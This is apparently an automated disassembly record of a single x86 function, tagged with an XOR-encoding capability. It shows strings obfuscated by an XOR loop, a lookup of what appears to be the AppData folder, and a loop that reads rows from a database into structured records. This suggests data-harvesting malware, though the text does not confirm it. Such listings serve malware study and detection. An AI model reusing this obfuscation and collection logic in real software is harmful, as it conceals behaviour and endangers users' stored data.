Function at 0x12dd096
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xe1678e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x17f0
push ebx
call fcn.013864e0
push esi
mov esi, ecx
mov dword [ebp - 0x1e4], esi
push edi
mov dword [ebp - 0x1dc], 0
push ecx
mov dword [ebp - 4], 3
call fcn.0130c3c0
sub esp, 0x10
mov dword [ebp - 0x1dc], 1
mov ecx, esp
mov dword [ebp - 0x24], esp
sub esp, 8
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0130c390
add esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xfff2fbff
mov dword [ebp - 0x18], 0x100ebf9
call fcn.012b8d00
push eax
mov ecx, esi
call fcn.01312600
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.0130c010
push 0x104
lea eax, [ebp - 0x800]
push 0
push eax
call fcn.01387760
add esp, 0xc
lea eax, [ebp - 0x800]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0xe1c2e0]
lea eax, [ebx + 8]
push eax
lea edx, [ebp - 0x800]
lea ecx, [ebp - 0x3f4]
call fcn.01312350
add esp, 4
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x1b7], 0xf9e7e4cf
mov dword [ebp - 0x1b3], 0xfff5f1f1
mov dword [ebp - 0x1af], 0xf0f4b2e8
mov word [ebp - 0x1ab], 0xf6
mov byte [ebp - 0x1a9], 1
call fcn.012b2ec0
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x360]
call fcn.01312290
add esp, 4
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 6
call fcn.012aafa0
push eax
push 0x1000
lea eax, [ebp - 0x1800]
push eax
push esi
call 0x1401c4b
lea edi, [ebp - 0x1800]
mov dword [ebp - 0x1e0], edi
push 7
lea ecx, [ebp - 0xd9]
mov dword [ebp - 0xd9], 0xf0fae6c3
mov dword [ebp - 0xd5], 0xfcf4fe
mov byte [ebp - 0xd1], 1
call fcn.012b4060
push eax
push edi
call fcn.01392d5e
add esp, 0xc
test eax, eax
jne 0x12dea97
push 0x104
push eax
lea eax, [ebp - 0x6f8]
push eax
call fcn.01387760
add esp, 0xc
lea ecx, [ebp - 0x360]
call fcn.012aafa0
lea ecx, [ebp - 0xa3]
mov dword [ebp - 0xa3], 0xfee1f5c3
mov esi, eax
mov word [ebp - 0x9f], 0x100
call fcn.012b4030
push esi
push 0x104
lea ecx, [ebp - 0x6f8]
push ecx
push 0
push eax
push edi
push edi
call 0x153e74e
lea ecx, [ebp - 0x55]
mov word [ebp - 0x55], 0xcf
mov byte [ebp - 0x53], 1
call fcn.012b2bc0
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x338]
call fcn.01312290
add esp, 4
lea ecx, [ebp - 0x6f8]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0x258]
call fcn.013122f0
add esp, 4
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 9
call fcn.012aae60
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a8], 0xf1faf8cf
mov dword [ebp - 0x1a4], 0xb4eaf6fe
mov dword [ebp - 0x1a0], 0xf0f2eff1
mov word [ebp - 0x19c], 0x100
call fcn.012b7680
push eax
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x378]
call fcn.01312290
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x7e]
mov dword [ebp - 0x7e], 0x100f6e1
call fcn.012b2bd0
lea ecx, [ebp - 0x378]
mov esi, eax
call fcn.012aafa0
push esi
push eax
call fcn.0138b5d0
add esp, 8
test eax, eax
jne 0x12dd65c
movaps xmm0, xmmword [0xe34df0]
lea ecx, [ebp - 0x1fd]
movups xmmword [ebp - 0x1fd], xmm0
mov byte [ebp - 0x1ed], 1
call fcn.012b75f0
push eax
lea edx, [ebp - 0x258]
lea ecx, [ebp - 0x390]
call fcn.01312290
add esp, 4
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0xb
call fcn.012aafa0
lea edx, [ebp - 0x224]
mov ecx, eax
call fcn.012bccf0
test eax, eax
jne 0x12dd64c
movaps xmm0, xmmword [0xe35820]
lea ecx, [ebp - 0x3dc]
movups xmmword [ebp - 0x3dc], xmm0
mov dword [ebp - 0x39c], 0x89afbbbe
movaps xmm0, xmmword [0xe355d0]
movups xmmword [ebp - 0x3cc], xmm0
mov dword [ebp - 0x398], 0xb3beb7bb
movaps xmm0, xmmword [0xe35370]
movups xmmword [ebp - 0x3bc], xmm0
mov dword [ebp - 0x394], 0x100afb5
movaps xmm0, xmmword [0xe369c0]
movups xmmword [ebp - 0x3ac], xmm0
call fcn.012dece0
mov edi, dword [ebp - 0x224]
mov edx, eax
push ecx
lea ecx, [ebp - 0x1ec]
push ecx
push ecx
mov ecx, edi
call fcn.0136afd0
add esp, 0xc
test eax, eax
jne 0x12dd645
mov esi, dword [ebp - 0x1ec]
mov ecx, esi
call fcn.013477c0
cmp eax, 0x64
jne 0x12dd63e
xor edx, edx
mov ecx, esi
call fcn.01347fd0
mov edi, eax
mov edx, 1
mov ecx, esi
mov dword [ebp - 0x220], edi
call fcn.01347fd0
mov ecx, dword [ebp - 0x1ec]
mov esi, eax
mov edx, 2
mov dword [ebp - 0x24], esi
call fcn.01347fd0
mov dword [ebp - 0x20], eax
test edi, edi
je 0x12dd46b
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x12dd460
sub edi, ecx
jne 0x12dd485
test esi, esi
je 0x12dd622
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x12dd476
sub esi, ecx
je 0x12dd622
push ecx
lea ecx, [ebp - 0x2d8]
call fcn.0130c3c0
sub esp, 0x10
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x6f8]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.01312fa0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xe2]
mov dword [ebp - 0xe2], 0xf0fae6e3
mov dword [ebp - 0xde], 0xfcf4fe
mov byte [ebp - 0xda], 1
call fcn.012b4060
push eax
lea ecx, [ebp - 0x2d8]
call fcn.01312600
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.0130c010
sub esp, 0x10
lea eax, [ebp - 0x20]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.01312e90
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x93]
mov dword [ebp - 0x93], 0xf9e6e6
mov byte [ebp - 0x8f], 1
call fcn.012b1cc0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.01312600
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.0130c010
sub esp, 0x10
lea eax, [ebp - 0x220]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.01312e90
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0xaa], 0xfff2fbff
mov word [ebp - 0xa6], 0xf9
mov byte [ebp - 0xa4], 1
call fcn.012b1cf0
push eax
lea ecx, [ebp - 0x2d8]
call fcn.01312600
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.0130c010
sub esp, 0x10
lea eax, [ebp - 0x24]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.01312e90
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x13a]
mov dword [ebp - 0x13a], 0xe5e6f5e3
mov dword [ebp - 0x136], 0xfeebf7e0
mov word [ebp - 0x132], 0x100
call fcn.012b7620
push eax
lea ecx, [ebp - 0x2d8]
call fcn.01312600
mov ecx, eax
mov byte [ebp - 4], 0xc
call fcn.0130c010
mov dword [ebp - 0xc8], 0xfff2fbff
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xc4], 0x100ebf9
call fcn.012b8d00
mov ecx, dword [ebp - 0x1e4]
push eax
call fcn.01312600
lea ecx, [ebp - 0x2d8]
push ecx
mov ecx, eax
call fcn.0130b970
lea ecx, [ebp - 0x2d8]
mov byte [ebp - 4], 0xb
call fcn.0130bff0
mov esi, dword [ebp - 0x1ec]
mov ecx, esi
call fcn.013477c0
cmp eax, 0x64
je 0x12dd421
mov edi, dword [ebp - 0x224]
mov ecx, esi
call fcn.013476b0
mov ecx, edi
call fcn.012bd120
lea ecx, [ebp - 0x390]
call fcn.012aae60
jmp 0x12de9fa
push eax
call fcn.0138ee58
sub esp, 0x14
lea eax, [ebp - 0x378]
mov ecx, esp
push eax
call fcn.0130e550
lea ecx, [ebp - 0x390]
call fcn.012b4090
sub esp, 0x10
mov byte [ebp - 4], 0x11
mov eax, esp
lea edx, [ebp - 0x390]
lea ecx, [ebp - 0x418]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.01312990
add esp, 0x30
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xd0], 0xfff2fbff
mov dword [ebp - 0xcc], 0x100ebf9
call fcn.012b8d00
push eax
lea ecx, [ebp - 0x418]
call fcn.01312600
mov ecx, eax
lea eax, [ebp - 0x240]
push eax
call fcn.0130bbd0
lea eax, [ebp - 0x404]
push eax
call fcn.0130bb60
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x240]
call fcn.0130b190
test al, al
je 0x12de018
lea eax, [ebp - 0x1e5]
mov dword [ebp - 0x340], eax
lea ecx, [ebp - 0x240]
call fcn.0130b2a0
push eax
lea ecx, [ebp - 0x288]
call fcn.0130c050
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xb8]
push 0
mov byte [ebp - 0xc0], 0
call fcn.0130ff50
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x260], xmm0
mov byte [ebp - 0x268], 3
call fcn.01385502
mov edi, eax
add esp, 4
mov dword [ebp - 0x33c], edi
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x6f8]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12dd790
sub ecx, edx
lea eax, [ebp - 0x6f8]
push ecx
push eax
mov ecx, edi
call fcn.012ab030
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x260], edi
mov byte [ebp - 4], 0x17
xor ecx, ecx
mov dword [ebp - 0x34], 0xf0fae6e3
mov dword [ebp - 0x30], 0xfcf4fe
mov byte [ebp - 0x2c], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x12dd7d0
mov al, byte [ebp - 0xc0]
mov byte [ebp - 0x2c], 0
test al, al
jne 0x12dd81a
push 1
lea ecx, [ebp - 0x348]
mov byte [ebp - 0xc0], 1
call fcn.0130ff50
mov esi, dword [ebp - 0x348]
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb4], eax
jmp 0x12dd828
cmp al, 1
jne 0x12dec6d
mov esi, dword [ebp - 0xb8]
xorps xmm0, xmm0
mov dword [ebp - 0x2e0], 0
lea edx, [ebp - 0x34]
mov dword [ebp - 0x2dc], 0
movups xmmword [ebp - 0x2f0], xmm0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x12dd850
sub edx, ecx
lea eax, [ebp - 0x34]
push edx
push eax
lea ecx, [ebp - 0x2f0]
call fcn.012ab030
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0x18
push eax
mov ecx, esi
call fcn.01315710
mov byte [ebp - 4], 0x17
mov esi, eax
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 0x10
jb 0x12dd8bb
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12dd8b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x268], al
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x260], ecx
lea ecx, [ebp - 0x268]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x25c], edx
call fcn.0130bff0
mov dword [ebp - 0x7a], 0xfbe7fbf5
xor ecx, ecx
mov dword [ebp - 0x76], 0xf7fbedc4
mov dword [ebp - 0x72], 0xccc8e8f2
mov word [ebp - 0x6e], 0xd3
mov byte [ebp - 0x6c], 1
nop
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x7a], al
inc ecx
cmp ecx, 0xd
jb 0x12dd930
lea eax, [ebp - 0x7a]
mov byte [ebp - 0x6c], 0
push eax
lea ecx, [ebp - 0x288]
call fcn.01312600
cmp byte [eax], 0
je 0x12dda16
lea ecx, [ebp - 0x1c6]
mov dword [ebp - 0x1c6], 0xfbe7fbf5
mov dword [ebp - 0x1c2], 0xf7fbedc4
mov dword [ebp - 0x1be], 0xccc8e8f2
mov word [ebp - 0x1ba], 0xd3
mov byte [ebp - 0x1b8], 1
call fcn.012b2ec0
push eax
lea ecx, [ebp - 0x288]
call fcn.01312600
cmp byte [eax], 3
jne 0x12dda16
sub esp, 0x10
mov dword [ebp - 0x1d5], 0xfbe7fbf5
lea ecx, [ebp - 0x1d5]
mov dword [ebp - 0x1d1], 0xf7fbedc4
mov dword [ebp - 0x1cd], 0xccc8e8f2
mov esi, esp
mov word [ebp - 0x1c9], 0xd3
mov byte [ebp - 0x1c7], 1
mov dword [ebp - 0x14], esp
call fcn.012b2ec0
push eax
lea ecx, [ebp - 0x288]
call fcn.01312600
push eax
mov ecx, esi
call fcn.0130c050
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x98], 0xf9e6e6
mov byte [ebp - 0x94], 1
jmp 0x12dda75
sub esp, 0x10
mov dword [ebp - 0x108], 0xe2e6fbfb
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x104], 0xfff4f9f9
mov word [ebp - 0x100], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.012b7620
push eax
lea ecx, [ebp - 0x288]
call fcn.01312600
push eax
mov ecx, esi
call fcn.0130c050
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x9d]
mov dword [ebp - 0x9d], 0xf9e6e6
mov byte [ebp - 0x99], 1
call fcn.012b1cc0
push eax
lea ecx, [ebp - 0xc0]
call fcn.01312600
mov ecx, eax
mov byte [ebp - 4], 0x15
call fcn.0130c010
movaps xmm0, xmmword [0xe35f60]
xor ecx, ecx
movups xmmword [ebp - 0x1ff], xmm0
mov word [ebp - 0x1ef], 0xc6
mov byte [ebp - 0x1ed], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x1ff], al
inc ecx
cmp ecx, 0x11
jb 0x12ddab1
lea eax, [ebp - 0x1ff]
mov byte [ebp - 0x1ed], 0
push eax
lea ecx, [ebp - 0x288]
call fcn.01312600
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.01312740
mov edx, eax
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x52], 0xa0d6dad6
mov dword [ebp - 0x4e], 0xc5b3aaa0
mov word [ebp - 0x4a], 0x100
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 8
jb 0x12ddb05
push edx
lea edx, [ebp - 0x52]
mov byte [ebp - 0x49], 0
lea ecx, [ebp - 0x338]
call fcn.013123b0
mov esi, eax
sub esp, 0xc
mov byte [ebp - 4], 0x1e
mov edi, esp
mov dword [ebp - 0x14], esp
xorps xmm0, xmm0
push 0x18
movq qword [edi + 8], xmm0
mov byte [edi], 3
call fcn.01385502
xorps xmm0, xmm0
add esp, 4
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
movups xmm0, xmmword [esi]
movups xmmword [eax], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [eax + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x22c]
mov dword [edi + 0xc], eax
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov dword [ebp - 0x2b], 0xfff2fbff
mov word [ebp - 0x27], 0xf9
mov byte [ebp - 0x25], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 5
jb 0x12ddba1
mov al, byte [ebp - 0xc0]
mov byte [ebp - 0x25], 0
test al, al
jne 0x12ddbeb
push 1
lea ecx, [ebp - 0x230]
mov byte [ebp - 0xc0], 1
call fcn.0130ff50
mov esi, dword [ebp - 0x230]
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0xb8], esi
mov dword [ebp - 0xb4], eax
jmp 0x12ddbf9
cmp al, 1
jne 0x12dec15
mov esi, dword [ebp - 0xb8]
xorps xmm0, xmm0
mov dword [ebp - 0x20], esi
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2f8], 0
movups xmmword [ebp - 0x308], xmm0
mov dword [ebp - 0x2f4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12ddc20
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x308]
call fcn.012ab030
lea eax, [ebp - 0x308]
mov byte [ebp - 4], 0x20
push eax
mov ecx, esi
call fcn.01315710
mov byte [ebp - 4], 0x1f
mov esi, eax
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 0x10
jb 0x12ddc8b
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12ddc81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov ecx, esi
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
mov byte [ebp - 4], 0x1e
call fcn.0130c010
lea ecx, [ebp - 0x338]
call fcn.012aae60
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 0x15
call fcn.012aae60
movaps xmm0, xmmword [0xe36020]
lea ecx, [ebp - 0x1ff]
movups xmmword [ebp - 0x1ff], xmm0
mov word [ebp - 0x1ef], 0xc7
mov byte [ebp - 0x1ed], 1
call fcn.012b3320
push eax
lea ecx, [ebp - 0x288]
call fcn.01312600
lea ecx, [ebp - 0x338]
push ecx
mov ecx, eax
call fcn.01312740
mov edx, eax
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x48], 0xa0d6dad6
mov dword [ebp - 0x44], 0xc5b3aaa0
mov word [ebp - 0x40], 0x100
nop word [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 8
jb 0x12ddd30
push edx
lea edx, [ebp - 0x48]
mov byte [ebp - 0x3f], 0
lea ecx, [ebp - 0x21c]
call fcn.013123b0
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x270], xmm0
mov byte [ebp - 0x278], 3
call fcn.01385502
mov edi, eax
xorps xmm0, xmm0
mov eax, dword [ebp - 0x22c]
add esp, 4
mov dword [ebp - 0x270], edi
mov dword [ebp - 0x26c], eax
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [esi]
movups xmmword [edi], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x3e], 0xe5e6f5e3
mov dword [ebp - 0x3a], 0xfeebf7e0
mov word [ebp - 0x36], 0x100
nop dword [eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x3e], al
inc ecx
cmp ecx, 8
jb 0x12ddde0
xorps xmm0, xmm0
mov byte [ebp - 0x35], 0
lea edx, [ebp - 0x3e]
mov dword [ebp - 0x310], 0
movups xmmword [ebp - 0x320], xmm0
mov dword [ebp - 0x30c], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x12dde16
sub edx, ecx
lea eax, [ebp - 0x3e]
push edx
push eax
lea ecx, [ebp - 0x320]
call fcn.012ab030
lea eax, [ebp - 0x320]
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x20]
push eax
call fcn.01315710
mov byte [ebp - 4], 0x25
mov esi, eax
mov ecx, dword [ebp - 0x30c]
cmp ecx, 0x10
jb 0x12dde82
mov edx, dword [ebp - 0x320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12dde78
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 0xf
mov byte [ebp - 0x320], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x278], al
mov eax, dword [esi + 8]
mov dword [ebp - 0x26c], ecx
lea ecx, [ebp - 0x278]
mov dword [esi + 8], edi
mov dword [esi + 0xc], edx
mov dword [ebp - 0x270], eax
call fcn.0130bff0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x208]
cmp ecx, 0x10
jb 0x12ddf0f
mov edx, dword [ebp - 0x21c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12ddf05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x324]
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
mov byte [ebp - 0x21c], 0
cmp ecx, 0x10
jb 0x12ddf68
mov edx, dword [ebp - 0x338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x12ddf5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x12dec10
push ecx
push edx
call fcn.01385783
add esp, 8
mov dword [ebp - 0x1c], 0xfff2fbff
xor eax, eax
mov dword [ebp - 0x18], 0x100ebf9
lea ecx, [eax - 0x6d]
xor byte [ebp + eax - 0x1c], cl
inc eax
cmp eax, 6
jb 0x12ddf78
mov ecx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x15], 0
call fcn.01312600
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.0130b970
lea ecx, [ebp - 0xc0]
call fcn.0130bff0
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 0x12
call fcn.0130bff0
mov eax, dword [ebp - 0x240]
movzx eax, byte [eax]
sub eax, 1
je 0x12ddfe4
sub eax, 1
je 0x12ddfdb
inc dword [ebp - 0x234]
jmp 0x12ddffe
add dword [ebp - 0x238], 0x10
jmp 0x12ddffe
mov eax, dword [ebp - 0x23c]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], eax
call fcn.0130fa00
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x240]
call fcn.0130b190
test al, al
jne 0x12dd715
mov dword [ebp - 0x6b], 0xf7e0c5cf
xor ecx, ecx
mov dword [ebp - 0x67], 0xf7ececf9
mov dword [ebp - 0x63], 0xecf8dfc4
mov dword [ebp - 0x5f], 0x100d3eb
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0xe
jb 0x12de036
lea ecx, [ebp - 0x6b]
mov byte [ebp - 0x5c], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12de050
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x12deccb
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x6b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2a0]
call fcn.01315f90
or dword [ebp - 0x1dc], 2
mov byte [ebp - 4], 0x29
lea esi, [ebp - 0x2a0]
cmp dword [ebp - 0x28c], 0x10
push 0xe46240
cmovae esi, dword [ebp - 0x2a0]
call fcn.01384a84
add esp, 4
test eax, eax
jne 0x12decc5
test esi, esi
je 0x12de116
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12de0d0
sub ecx, edx
je 0x12de116
push esi
call 0x1483ece
ret
push 0xe46240
call fcn.01384a95
add esp, 4
lea ecx, [ebp - 0x2a0]
push 0
call fcn.012aafa0
mov edi, dword [0xe1c10c]
push eax
call edi
test eax, eax
je 0x12de958
xorps xmm0, xmm0
mov byte [ebp - 0x2a4], 0
lea ecx, [ebp - 0x5f0]
movups xmmword [ebp - 0x2c4], xmm0
movups xmmword [ebp - 0x2b4], xmm0
call fcn.01329440
lea ecx, [ebp - 0x6f8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12de170
sub ecx, edx
lea eax, [ebp - 0x6f8]
push ecx
push eax
lea ecx, [ebp - 0x5f0]
call fcn.01329480
push ecx
lea ecx, [ebp - 0x5f0]
call fcn.01329550
cmp byte [ebp - 0x554], 0
je 0x12de1c9
movups xmm0, xmmword [ebp - 0x543]
mov al, byte [ebp - 0x523]
mov byte [ebp - 0x2a4], al
movups xmmword [ebp - 0x2c4], xmm0
movups xmm0, xmmword [ebp - 0x533]
movups xmmword [ebp - 0x2b4], xmm0
lea ecx, [ebp - 0x58]
mov word [ebp - 0x58], 0xcc
mov byte [ebp - 0x56], 1
call fcn.012b2bc0
lea ecx, [ebp - 0x5b]
mov word [ebp - 0x5b], 0xcf
mov esi, eax
mov byte [ebp - 0x59], 1
call fcn.012b2bc0
push eax
lea edx, [ebp - 0x2a0]
lea ecx, [ebp - 0x488]
call fcn.01312290
add esp, 4
lea ecx, [ebx + 0x38]
mov byte [ebp - 4], 0x2a
push ecx
mov edx, eax
lea ecx, [ebp - 0x470]
call fcn.013124b0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x338]
call fcn.013122f0
add esp, 4
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x2c
push ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.013122f0
add esp, 4
lea ecx, [ebp - 0x338]
call fcn.012aae60
lea ecx, [ebp - 0x470]
call fcn.012aae60
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x30
call fcn.012aae60
lea ecx, [ebp - 0x204]
call fcn.012aafa0
mov ecx, eax
call fcn.012b4740
test al, al
jne 0x12de29f
push 0
lea ecx, [ebp - 0x204]
call fcn.012aafa0
push eax
call edi
test eax, eax
je 0x12de94d
sub esp, 0x18
mov dword [ebp - 0x112], 0xeff0ffcf
lea ecx, [ebp - 0x112]
mov dword [ebp - 0x10e], 0xf8fdb6a4
mov word [ebp - 0x10a], 0x100
mov esi, esp
call fcn.012b7620
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
add esp, 4
call fcn.012b46b0
add esp, 0x18
test al, al
je 0x12de440
lea ecx, [ebp - 0x82]
mov dword [ebp - 0x82], 0x100f6e4
call fcn.012b2bd0
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0xeff0ffcf
mov esi, eax
mov dword [ebp - 0x118], 0xf8fdb6a4
mov word [ebp - 0x114], 0x100
call fcn.012b7620
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.01312290
add esp, 4
mov ecx, eax
call fcn.012aafa0
push esi
push eax
call fcn.0138b5d0
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.012aae60
test edi, edi
je 0x12de440
sub esp, 0x18
mov dword [ebp - 0xeb], 0xa5ecf1f8
lea ecx, [ebp - 0xeb]
mov dword [ebp - 0xe7], 0xfbfcb9
mov byte [ebp - 0xe3], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.012b4060
push eax
mov ecx, esi
call fcn.012aaf00
sub esp, 0x18
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x126]
mov dword [ebp - 0x126], 0xeff0ffcf
mov dword [ebp - 0x122], 0xf8fdb6a4
mov esi, esp
mov word [ebp - 0x11e], 0x100
call fcn.012b7620
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.01312290
